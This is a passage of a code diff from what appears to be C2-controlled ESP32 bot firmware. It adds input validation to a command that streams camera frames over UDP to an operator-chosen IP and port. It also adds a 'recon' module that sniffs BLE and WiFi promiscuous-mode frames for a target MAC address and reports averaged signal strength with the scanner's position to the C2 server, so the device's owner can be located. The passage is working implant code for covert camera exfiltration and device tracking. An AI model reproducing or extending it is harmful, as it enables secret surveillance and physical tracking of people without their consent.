@ -169,31 +210,62 @@ static void udp_stream_task(void *arg)
|
|||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
static void start_stream(const char *ip, uint16_t port)
|
static void start_stream(const char *ip, uint16_t port)
|
||||||
{
|
{
|
||||||
|
ESP_LOGI(TAG, "start_stream called: ip=%s port=%u", ip ? ip : "(null)", port);
|
||||||
|
|
||||||
if (streaming_active) {
|
if (streaming_active) {
|
||||||
msg_error(TAG, "stream already active", NULL);
|
msg_error(TAG, "stream already active", NULL);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!camera_initialized) {
|
if (!ip || ip[0] == '\0') {
|
||||||
if (!init_camera())
|
ESP_LOGE(TAG, "invalid IP: null/empty");
|
||||||
return;
|
msg_error(TAG, "invalid ip", NULL);
|
||||||
camera_initialized = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
udp_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
|
|
||||||
if (udp_sock < 0) {
|
|
||||||
msg_error(TAG, "udp socket failed", NULL);
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (port == 0) {
|
||||||
|
ESP_LOGE(TAG, "invalid port: 0");
|
||||||
|
msg_error(TAG, "invalid port", NULL);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!camera_initialized) {
|
||||||
|
ESP_LOGI(TAG, "initializing camera...");
|
||||||
|
if (!init_camera()) {
|
||||||
|
msg_error(TAG, "camera init failed", NULL);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
camera_initialized = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create UDP socket
|
||||||
|
udp_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
|
||||||
|
if (udp_sock < 0) {
|
||||||
|
ESP_LOGE(TAG, "socket() failed: errno=%d (%s)", errno, strerror(errno));
|
||||||
|
msg_error(TAG, "udp socket failed", NULL);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
ESP_LOGI(TAG, "socket created: fd=%d", udp_sock);
|
||||||
|
|
||||||
|
// Build destination address (use inet_pton instead of inet_addr)
|
||||||
memset(&dest_addr, 0, sizeof(dest_addr));
|
memset(&dest_addr, 0, sizeof(dest_addr));
|
||||||
dest_addr.sin_family = AF_INET;
|
dest_addr.sin_family = AF_INET;
|
||||||
dest_addr.sin_port = htons(port);
|
dest_addr.sin_port = htons(port);
|
||||||
dest_addr.sin_addr.s_addr = inet_addr(ip);
|
|
||||||
|
if (inet_pton(AF_INET, ip, &dest_addr.sin_addr) != 1) {
|
||||||
|
ESP_LOGE(TAG, "invalid IP address: '%s'", ip);
|
||||||
|
close(udp_sock);
|
||||||
|
udp_sock = -1;
|
||||||
|
msg_error(TAG, "invalid ip", NULL);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
ESP_LOGI(TAG, "target: %s:%u (addr=0x%08x)",
|
||||||
|
ip, port, (unsigned)dest_addr.sin_addr.s_addr);
|
||||||
|
|
||||||
streaming_active = true;
|
streaming_active = true;
|
||||||
|
|
||||||
xTaskCreatePinnedToCore(
|
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||||
udp_stream_task,
|
udp_stream_task,
|
||||||
"cam_stream",
|
"cam_stream",
|
||||||
8192,
|
8192,
|
||||||
@ -202,25 +274,35 @@ static void start_stream(const char *ip, uint16_t port)
|
|||||||
NULL,
|
NULL,
|
||||||
0
|
0
|
||||||
);
|
);
|
||||||
|
|
||||||
|
if (ret != pdPASS) {
|
||||||
|
ESP_LOGE(TAG, "failed to create stream task");
|
||||||
|
streaming_active = false;
|
||||||
|
close(udp_sock);
|
||||||
|
udp_sock = -1;
|
||||||
|
msg_error(TAG, "task create failed", NULL);
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
static void stop_stream(void)
|
static void stop_stream(void)
|
||||||
{
|
{
|
||||||
|
ESP_LOGI(TAG, "stop_stream called, active=%d", streaming_active);
|
||||||
|
|
||||||
if (!streaming_active) {
|
if (!streaming_active) {
|
||||||
msg_error(TAG, "no active stream", NULL);
|
msg_error(TAG, "no active stream", NULL);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
streaming_active = false;
|
streaming_active = false;
|
||||||
|
ESP_LOGI(TAG, "stream stop requested");
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ============================================================
|
/* ============================================================
|
||||||
* COMMAND HANDLERS
|
* COMMAND HANDLERS
|
||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
static int cmd_cam_start(int argc,
|
static int cmd_cam_start(int argc, char **argv, const char *req, void *ctx)
|
||||||
char **argv,
|
|
||||||
const char *req,
|
|
||||||
void *ctx)
|
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
|
|
||||||
@ -229,10 +311,56 @@ static int cmd_cam_start(int argc,
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
start_stream(argv[0], (uint16_t)atoi(argv[1]));
|
// Copie défensive (au cas où argv pointe vers un buffer volatile)
|
||||||
|
char ip[32] = {0};
|
||||||
|
char port_s[32] = {0};
|
||||||
|
strlcpy(ip, argv[0] ? argv[0] : "", sizeof(ip));
|
||||||
|
strlcpy(port_s, argv[1] ? argv[1] : "", sizeof(port_s));
|
||||||
|
|
||||||
|
// Trim espaces (début/fin) pour gérer "5000\r\n" etc.
|
||||||
|
char *p = port_s;
|
||||||
|
while (*p && isspace((unsigned char)*p)) p++;
|
||||||
|
|
||||||
|
// Extraire uniquement les digits au début
|
||||||
|
char digits[8] = {0}; // "65535" max
|
||||||
|
size_t di = 0;
|
||||||
|
while (*p && isdigit((unsigned char)*p) && di < sizeof(digits) - 1) {
|
||||||
|
digits[di++] = *p++;
|
||||||
|
}
|
||||||
|
digits[di] = '\0';
|
||||||
|
|
||||||
|
// Si aucun digit trouvé -> invalid
|
||||||
|
if (di == 0) {
|
||||||
|
ESP_LOGE(TAG, "invalid port (raw='%s')", port_s);
|
||||||
|
// Dump hex pour debug (hyper utile)
|
||||||
|
ESP_LOG_BUFFER_HEX(TAG, port_s, strnlen(port_s, sizeof(port_s)));
|
||||||
|
msg_error(TAG, "invalid port", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned long port_ul = strtoul(digits, NULL, 10);
|
||||||
|
if (port_ul == 0 || port_ul > 65535) {
|
||||||
|
ESP_LOGE(TAG, "invalid port value (digits='%s')", digits);
|
||||||
|
msg_error(TAG, "invalid port", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
uint16_t port = (uint16_t)port_ul;
|
||||||
|
|
||||||
|
// IP check via inet_pton (robuste)
|
||||||
|
struct in_addr addr;
|
||||||
|
if (inet_pton(AF_INET, ip, &addr) != 1) {
|
||||||
|
ESP_LOGE(TAG, "invalid IP address: '%s'", ip);
|
||||||
|
msg_error(TAG, "invalid ip", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
ESP_LOGI(TAG, "parsed: ip='%s' port=%u (raw_port='%s')", ip, port, port_s);
|
||||||
|
start_stream(ip, port);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
static int cmd_cam_stop(int argc,
|
static int cmd_cam_stop(int argc,
|
||||||
char **argv,
|
char **argv,
|
||||||
const char *req,
|
const char *req,
|
||||||
|
|||||||
796
espilon_bot/components/mod_recon/mod_mlat.c
Normal file
796
espilon_bot/components/mod_recon/mod_mlat.c
Normal file
@ -0,0 +1,796 @@
|
|||||||
|
/**
|
||||||
|
* @file mod_mlat.c
|
||||||
|
* @brief Multilateration Scanner Module (BLE + WiFi)
|
||||||
|
*
|
||||||
|
* This module turns an ESP32 into an RSSI scanner for multilateration.
|
||||||
|
* Supports both BLE and WiFi modes, switchable at runtime from C2.
|
||||||
|
* Position is configured from C2, and RSSI readings are sent back via TCP.
|
||||||
|
*
|
||||||
|
* Supports two coordinate systems:
|
||||||
|
* - GPS (lat/lon in degrees) for outdoor tracking with real maps
|
||||||
|
* - Local (x/y in meters) for indoor tracking with floor plans
|
||||||
|
*
|
||||||
|
* Commands:
|
||||||
|
* mlat config gps <lat> <lon> - Set GPS position (degrees)
|
||||||
|
* mlat config local <x> <y> - Set local position (meters)
|
||||||
|
* mlat config <lat> <lon> - Backward compat: GPS mode
|
||||||
|
* mlat mode <ble|wifi> - Set scanning mode
|
||||||
|
* mlat start <mac> - Start scanning for target MAC
|
||||||
|
* mlat stop - Stop scanning
|
||||||
|
* mlat status - Show current config and state
|
||||||
|
*
|
||||||
|
* Data format sent to C2:
|
||||||
|
* MLAT:G;<lat>;<lon>;<rssi> - GPS coordinates
|
||||||
|
* MLAT:L;<x>;<y>;<rssi> - Local coordinates (meters)
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <ctype.h>
|
||||||
|
|
||||||
|
#include "freertos/FreeRTOS.h"
|
||||||
|
#include "freertos/task.h"
|
||||||
|
|
||||||
|
#include "esp_log.h"
|
||||||
|
#include "esp_err.h"
|
||||||
|
#include "nvs_flash.h"
|
||||||
|
|
||||||
|
/* BLE */
|
||||||
|
#include "esp_bt.h"
|
||||||
|
#include "esp_gap_ble_api.h"
|
||||||
|
#include "esp_bt_main.h"
|
||||||
|
|
||||||
|
/* WiFi */
|
||||||
|
#include "esp_wifi.h"
|
||||||
|
#include "esp_event.h"
|
||||||
|
|
||||||
|
#include "command.h"
|
||||||
|
#include "utils.h"
|
||||||
|
|
||||||
|
#if defined(CONFIG_RECON_MODE_MLAT)
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* CONFIG
|
||||||
|
* ============================================================ */
|
||||||
|
#define TAG "MLAT"
|
||||||
|
|
||||||
|
#define SEND_INTERVAL_MS 2000 /* Send aggregated RSSI every 2s */
|
||||||
|
#define RSSI_HISTORY_SIZE 10 /* Keep last N readings for averaging */
|
||||||
|
#define CHANNEL_HOP_MS 200 /* WiFi channel hop interval */
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* TYPES
|
||||||
|
* ============================================================ */
|
||||||
|
typedef enum {
|
||||||
|
MLAT_MODE_NONE = 0,
|
||||||
|
MLAT_MODE_BLE,
|
||||||
|
MLAT_MODE_WIFI
|
||||||
|
} mlat_mode_t;
|
||||||
|
|
||||||
|
typedef enum {
|
||||||
|
COORD_GPS = 0, /* lat/lon (degrees) */
|
||||||
|
COORD_LOCAL /* x/y (meters) */
|
||||||
|
} coord_type_t;
|
||||||
|
|
||||||
|
/* WiFi frame header for promiscuous mode */
|
||||||
|
typedef struct {
|
||||||
|
unsigned frame_ctrl:16;
|
||||||
|
unsigned duration_id:16;
|
||||||
|
uint8_t addr1[6]; /* Destination */
|
||||||
|
uint8_t addr2[6]; /* Source */
|
||||||
|
uint8_t addr3[6]; /* BSSID */
|
||||||
|
unsigned seq_ctrl:16;
|
||||||
|
} __attribute__((packed)) wifi_mgmt_hdr_t;
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* STATE
|
||||||
|
* ============================================================ */
|
||||||
|
static bool mlat_configured = false;
|
||||||
|
static bool mlat_running = false;
|
||||||
|
static mlat_mode_t mlat_mode = MLAT_MODE_BLE; /* Default to BLE */
|
||||||
|
|
||||||
|
/* Hardware init state */
|
||||||
|
static bool ble_initialized = false;
|
||||||
|
static bool wifi_promisc_enabled = false;
|
||||||
|
|
||||||
|
/* Scanner position (set via mlat config) */
|
||||||
|
static coord_type_t coord_type = COORD_GPS;
|
||||||
|
static double scanner_lat = 0.0; /* GPS latitude (degrees) */
|
||||||
|
static double scanner_lon = 0.0; /* GPS longitude (degrees) */
|
||||||
|
static double scanner_x = 0.0; /* Local X position (meters) */
|
||||||
|
static double scanner_y = 0.0; /* Local Y position (meters) */
|
||||||
|
|
||||||
|
/* Target MAC */
|
||||||
|
static uint8_t target_mac[6] = {0};
|
||||||
|
static char target_mac_str[20] = {0};
|
||||||
|
|
||||||
|
/* RSSI history for averaging */
|
||||||
|
static int8_t rssi_history[RSSI_HISTORY_SIZE];
|
||||||
|
static size_t rssi_count = 0;
|
||||||
|
static size_t rssi_index = 0;
|
||||||
|
|
||||||
|
/* Task handles */
|
||||||
|
static TaskHandle_t send_task_handle = NULL;
|
||||||
|
static TaskHandle_t hop_task_handle = NULL;
|
||||||
|
|
||||||
|
/* WiFi current channel */
|
||||||
|
static uint8_t current_channel = 1;
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* UTILS
|
||||||
|
* ============================================================ */
|
||||||
|
static bool parse_mac_str(const char *input, uint8_t *mac_out)
|
||||||
|
{
|
||||||
|
char clean[13] = {0};
|
||||||
|
int j = 0;
|
||||||
|
|
||||||
|
for (int i = 0; input[i] && j < 12; i++) {
|
||||||
|
char c = input[i];
|
||||||
|
if (c == ':' || c == '-' || c == ' ')
|
||||||
|
continue;
|
||||||
|
if (!isxdigit((unsigned char)c))
|
||||||
|
return false;
|
||||||
|
clean[j++] = toupper((unsigned char)c);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (j != 12) return false;
|
||||||
|
|
||||||
|
for (int i = 0; i < 6; i++) {
|
||||||
|
char b[3] = { clean[i*2], clean[i*2+1], 0 };
|
||||||
|
mac_out[i] = (uint8_t)strtol(b, NULL, 16);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void mac_to_str(const uint8_t *mac, char *out, size_t len)
|
||||||
|
{
|
||||||
|
snprintf(out, len, "%02X:%02X:%02X:%02X:%02X:%02X",
|
||||||
|
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int8_t get_average_rssi(void)
|
||||||
|
{
|
||||||
|
if (rssi_count == 0) return 0;
|
||||||
|
|
||||||
|
int32_t sum = 0;
|
||||||
|
size_t count = (rssi_count < RSSI_HISTORY_SIZE) ? rssi_count : RSSI_HISTORY_SIZE;
|
||||||
|
|
||||||
|
for (size_t i = 0; i < count; i++) {
|
||||||
|
sum += rssi_history[i];
|
||||||
|
}
|
||||||
|
|
||||||
|
return (int8_t)(sum / (int32_t)count);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void add_rssi_reading(int8_t rssi)
|
||||||
|
{
|
||||||
|
rssi_history[rssi_index] = rssi;
|
||||||
|
rssi_index = (rssi_index + 1) % RSSI_HISTORY_SIZE;
|
||||||
|
if (rssi_count < RSSI_HISTORY_SIZE) {
|
||||||
|
rssi_count++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void reset_rssi_history(void)
|
||||||
|
{
|
||||||
|
memset(rssi_history, 0, sizeof(rssi_history));
|
||||||
|
rssi_count = 0;
|
||||||
|
rssi_index = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *mode_to_str(mlat_mode_t mode)
|
||||||
|
{
|
||||||
|
switch (mode) {
|
||||||
|
case MLAT_MODE_BLE: return "BLE";
|
||||||
|
case MLAT_MODE_WIFI: return "WiFi";
|
||||||
|
default: return "none";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* BLE CALLBACK
|
||||||
|
* ============================================================ */
|
||||||
|
static void ble_scan_cb(esp_gap_ble_cb_event_t event,
|
||||||
|
esp_ble_gap_cb_param_t *param)
|
||||||
|
{
|
||||||
|
if (!mlat_running || mlat_mode != MLAT_MODE_BLE) return;
|
||||||
|
|
||||||
|
if (event != ESP_GAP_BLE_SCAN_RESULT_EVT ||
|
||||||
|
param->scan_rst.search_evt != ESP_GAP_SEARCH_INQ_RES_EVT)
|
||||||
|
return;
|
||||||
|
|
||||||
|
/* Check if this is our target */
|
||||||
|
if (memcmp(param->scan_rst.bda, target_mac, 6) != 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
/* Store RSSI reading */
|
||||||
|
add_rssi_reading(param->scan_rst.rssi);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* WIFI PROMISCUOUS CALLBACK
|
||||||
|
* ============================================================ */
|
||||||
|
static void IRAM_ATTR wifi_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||||
|
{
|
||||||
|
if (!mlat_running || mlat_mode != MLAT_MODE_WIFI) return;
|
||||||
|
|
||||||
|
/* Only interested in management frames (probe requests, etc.) */
|
||||||
|
if (type != WIFI_PKT_MGMT) return;
|
||||||
|
|
||||||
|
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
|
||||||
|
wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload;
|
||||||
|
|
||||||
|
/* Check if source MAC (addr2) matches our target */
|
||||||
|
if (memcmp(hdr->addr2, target_mac, 6) != 0) return;
|
||||||
|
|
||||||
|
/* Store RSSI reading */
|
||||||
|
add_rssi_reading(pkt->rx_ctrl.rssi);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* WIFI CHANNEL HOP TASK
|
||||||
|
* ============================================================ */
|
||||||
|
static void channel_hop_task(void *arg)
|
||||||
|
{
|
||||||
|
(void)arg;
|
||||||
|
|
||||||
|
while (mlat_running && mlat_mode == MLAT_MODE_WIFI) {
|
||||||
|
vTaskDelay(pdMS_TO_TICKS(CHANNEL_HOP_MS));
|
||||||
|
|
||||||
|
if (!mlat_running || mlat_mode != MLAT_MODE_WIFI) break;
|
||||||
|
|
||||||
|
current_channel = (current_channel % 13) + 1;
|
||||||
|
esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE);
|
||||||
|
}
|
||||||
|
|
||||||
|
hop_task_handle = NULL;
|
||||||
|
ESP_LOGI(TAG, "channel hop task stopped");
|
||||||
|
vTaskDelete(NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* SEND TASK - Periodically send RSSI to C2
|
||||||
|
* ============================================================ */
|
||||||
|
static void mlat_send_task(void *arg)
|
||||||
|
{
|
||||||
|
(void)arg;
|
||||||
|
|
||||||
|
char msg[128];
|
||||||
|
|
||||||
|
while (mlat_running) {
|
||||||
|
vTaskDelay(pdMS_TO_TICKS(SEND_INTERVAL_MS));
|
||||||
|
|
||||||
|
if (!mlat_running) break;
|
||||||
|
|
||||||
|
if (rssi_count > 0) {
|
||||||
|
int8_t avg_rssi = get_average_rssi();
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Send MLAT data to C2 via msg_info
|
||||||
|
* Format GPS: MLAT:G;<lat>;<lon>;<rssi>
|
||||||
|
* Format Local: MLAT:L;<x>;<y>;<rssi>
|
||||||
|
* The C2 will parse messages starting with "MLAT:" and extract the data
|
||||||
|
*/
|
||||||
|
if (coord_type == COORD_GPS) {
|
||||||
|
snprintf(msg, sizeof(msg), "MLAT:G;%.6f;%.6f;%d",
|
||||||
|
scanner_lat, scanner_lon, avg_rssi);
|
||||||
|
ESP_LOGD(TAG, "sent: GPS=(%.6f,%.6f) rssi=%d (avg of %d)",
|
||||||
|
scanner_lat, scanner_lon, avg_rssi, rssi_count);
|
||||||
|
} else {
|
||||||
|
snprintf(msg, sizeof(msg), "MLAT:L;%.2f;%.2f;%d",
|
||||||
|
scanner_x, scanner_y, avg_rssi);
|
||||||
|
ESP_LOGD(TAG, "sent: local=(%.2f,%.2f)m rssi=%d (avg of %d)",
|
||||||
|
scanner_x, scanner_y, avg_rssi, rssi_count);
|
||||||
|
}
|
||||||
|
|
||||||
|
msg_info(TAG, msg, NULL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
send_task_handle = NULL;
|
||||||
|
ESP_LOGI(TAG, "send task stopped");
|
||||||
|
vTaskDelete(NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* BLE INIT / DEINIT
|
||||||
|
* ============================================================ */
|
||||||
|
static bool ble_init(void)
|
||||||
|
{
|
||||||
|
if (ble_initialized) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
esp_bt_controller_config_t bt_cfg = BT_CONTROLLER_INIT_CONFIG_DEFAULT();
|
||||||
|
|
||||||
|
esp_err_t ret = esp_bt_controller_mem_release(ESP_BT_MODE_CLASSIC_BT);
|
||||||
|
if (ret != ESP_OK && ret != ESP_ERR_INVALID_STATE) {
|
||||||
|
ESP_LOGE(TAG, "bt mem release failed: %s", esp_err_to_name(ret));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ret = esp_bt_controller_init(&bt_cfg);
|
||||||
|
if (ret != ESP_OK) {
|
||||||
|
ESP_LOGE(TAG, "bt controller init failed: %s", esp_err_to_name(ret));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ret = esp_bt_controller_enable(ESP_BT_MODE_BLE);
|
||||||
|
if (ret != ESP_OK) {
|
||||||
|
ESP_LOGE(TAG, "bt controller enable failed: %s", esp_err_to_name(ret));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ret = esp_bluedroid_init();
|
||||||
|
if (ret != ESP_OK) {
|
||||||
|
ESP_LOGE(TAG, "bluedroid init failed: %s", esp_err_to_name(ret));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ret = esp_bluedroid_enable();
|
||||||
|
if (ret != ESP_OK) {
|
||||||
|
ESP_LOGE(TAG, "bluedroid enable failed: %s", esp_err_to_name(ret));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ret = esp_ble_gap_register_callback(ble_scan_cb);
|
||||||
|
if (ret != ESP_OK) {
|
||||||
|
ESP_LOGE(TAG, "gap register callback failed: %s", esp_err_to_name(ret));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
esp_ble_scan_params_t scan_params = {
|
||||||
|
.scan_type = BLE_SCAN_TYPE_ACTIVE,
|
||||||
|
.own_addr_type = BLE_ADDR_TYPE_PUBLIC,
|
||||||
|
.scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL,
|
||||||
|
.scan_interval = 0x50,
|
||||||
|
.scan_window = 0x30,
|
||||||
|
.scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE
|
||||||
|
};
|
||||||
|
|
||||||
|
ret = esp_ble_gap_set_scan_params(&scan_params);
|
||||||
|
if (ret != ESP_OK) {
|
||||||
|
ESP_LOGE(TAG, "set scan params failed: %s", esp_err_to_name(ret));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ble_initialized = true;
|
||||||
|
ESP_LOGI(TAG, "BLE initialized");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool ble_start_scan(void)
|
||||||
|
{
|
||||||
|
esp_err_t ret = esp_ble_gap_start_scanning(0); /* 0 = continuous */
|
||||||
|
if (ret != ESP_OK) {
|
||||||
|
ESP_LOGE(TAG, "start BLE scanning failed: %s", esp_err_to_name(ret));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ble_stop_scan(void)
|
||||||
|
{
|
||||||
|
esp_ble_gap_stop_scanning();
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* WIFI PROMISCUOUS INIT / DEINIT
|
||||||
|
* ============================================================ */
|
||||||
|
static bool wifi_promisc_init(void)
|
||||||
|
{
|
||||||
|
if (wifi_promisc_enabled) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Enable promiscuous mode */
|
||||||
|
esp_err_t ret = esp_wifi_set_promiscuous(true);
|
||||||
|
if (ret != ESP_OK) {
|
||||||
|
ESP_LOGE(TAG, "set promiscuous failed: %s", esp_err_to_name(ret));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Register callback */
|
||||||
|
ret = esp_wifi_set_promiscuous_rx_cb(wifi_promisc_cb);
|
||||||
|
if (ret != ESP_OK) {
|
||||||
|
ESP_LOGE(TAG, "set promiscuous cb failed: %s", esp_err_to_name(ret));
|
||||||
|
esp_wifi_set_promiscuous(false);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Filter only management frames */
|
||||||
|
wifi_promiscuous_filter_t filter = {
|
||||||
|
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
|
||||||
|
};
|
||||||
|
esp_wifi_set_promiscuous_filter(&filter);
|
||||||
|
|
||||||
|
wifi_promisc_enabled = true;
|
||||||
|
ESP_LOGI(TAG, "WiFi promiscuous mode enabled");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void wifi_promisc_deinit(void)
|
||||||
|
{
|
||||||
|
if (!wifi_promisc_enabled) return;
|
||||||
|
|
||||||
|
esp_wifi_set_promiscuous(false);
|
||||||
|
wifi_promisc_enabled = false;
|
||||||
|
ESP_LOGI(TAG, "WiFi promiscuous mode disabled");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* START / STOP SCANNING
|
||||||
|
* ============================================================ */
|
||||||
|
static bool start_scanning(void)
|
||||||
|
{
|
||||||
|
reset_rssi_history();
|
||||||
|
|
||||||
|
if (mlat_mode == MLAT_MODE_BLE) {
|
||||||
|
if (!ble_init()) return false;
|
||||||
|
if (!ble_start_scan()) return false;
|
||||||
|
}
|
||||||
|
else if (mlat_mode == MLAT_MODE_WIFI) {
|
||||||
|
if (!wifi_promisc_init()) return false;
|
||||||
|
|
||||||
|
/* Start channel hop task for WiFi */
|
||||||
|
BaseType_t ret = xTaskCreate(
|
||||||
|
channel_hop_task,
|
||||||
|
"mlat_hop",
|
||||||
|
2048,
|
||||||
|
NULL,
|
||||||
|
4,
|
||||||
|
&hop_task_handle
|
||||||
|
);
|
||||||
|
if (ret != pdPASS) {
|
||||||
|
ESP_LOGE(TAG, "failed to create hop task");
|
||||||
|
wifi_promisc_deinit();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Start send task */
|
||||||
|
BaseType_t ret = xTaskCreate(
|
||||||
|
mlat_send_task,
|
||||||
|
"mlat_send",
|
||||||
|
4096,
|
||||||
|
NULL,
|
||||||
|
5,
|
||||||
|
&send_task_handle
|
||||||
|
);
|
||||||
|
if (ret != pdPASS) {
|
||||||
|
ESP_LOGE(TAG, "failed to create send task");
|
||||||
|
if (mlat_mode == MLAT_MODE_BLE) {
|
||||||
|
ble_stop_scan();
|
||||||
|
} else {
|
||||||
|
wifi_promisc_deinit();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void stop_scanning(void)
|
||||||
|
{
|
||||||
|
if (mlat_mode == MLAT_MODE_BLE) {
|
||||||
|
ble_stop_scan();
|
||||||
|
}
|
||||||
|
else if (mlat_mode == MLAT_MODE_WIFI) {
|
||||||
|
wifi_promisc_deinit();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* COMMAND: mlat config <gps|local> <coord1> <coord2>
|
||||||
|
* mlat config gps <lat> <lon> - GPS coordinates (degrees)
|
||||||
|
* mlat config local <x> <y> - Local coordinates (meters)
|
||||||
|
* mlat config <lat> <lon> - Backward compat: GPS mode
|
||||||
|
* ============================================================ */
|
||||||
|
static int cmd_mlat_config(int argc, char **argv, const char *req, void *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
|
||||||
|
if (argc < 2) {
|
||||||
|
msg_error(TAG, "usage: mlat config [gps|local] <coord1> <coord2>", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
char msg[100];
|
||||||
|
|
||||||
|
/* Check if first arg is coordinate type */
|
||||||
|
if (argc == 3 && strcasecmp(argv[0], "gps") == 0) {
|
||||||
|
/* GPS mode: mlat config gps <lat> <lon> */
|
||||||
|
double lat = strtod(argv[1], NULL);
|
||||||
|
double lon = strtod(argv[2], NULL);
|
||||||
|
|
||||||
|
if (lat < -90.0 || lat > 90.0 || lon < -180.0 || lon > 180.0) {
|
||||||
|
msg_error(TAG, "invalid GPS coords (lat:-90~90, lon:-180~180)", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
coord_type = COORD_GPS;
|
||||||
|
scanner_lat = lat;
|
||||||
|
scanner_lon = lon;
|
||||||
|
mlat_configured = true;
|
||||||
|
|
||||||
|
snprintf(msg, sizeof(msg), "GPS position: (%.6f, %.6f)", lat, lon);
|
||||||
|
msg_info(TAG, msg, req);
|
||||||
|
ESP_LOGI(TAG, "configured GPS: lat=%.6f lon=%.6f", scanner_lat, scanner_lon);
|
||||||
|
}
|
||||||
|
else if (argc == 3 && strcasecmp(argv[0], "local") == 0) {
|
||||||
|
/* Local mode: mlat config local <x> <y> */
|
||||||
|
double x = strtod(argv[1], NULL);
|
||||||
|
double y = strtod(argv[2], NULL);
|
||||||
|
|
||||||
|
coord_type = COORD_LOCAL;
|
||||||
|
scanner_x = x;
|
||||||
|
scanner_y = y;
|
||||||
|
mlat_configured = true;
|
||||||
|
|
||||||
|
snprintf(msg, sizeof(msg), "Local position: (%.2f, %.2f) meters", x, y);
|
||||||
|
msg_info(TAG, msg, req);
|
||||||
|
ESP_LOGI(TAG, "configured local: x=%.2f y=%.2f", scanner_x, scanner_y);
|
||||||
|
}
|
||||||
|
else if (argc == 2) {
|
||||||
|
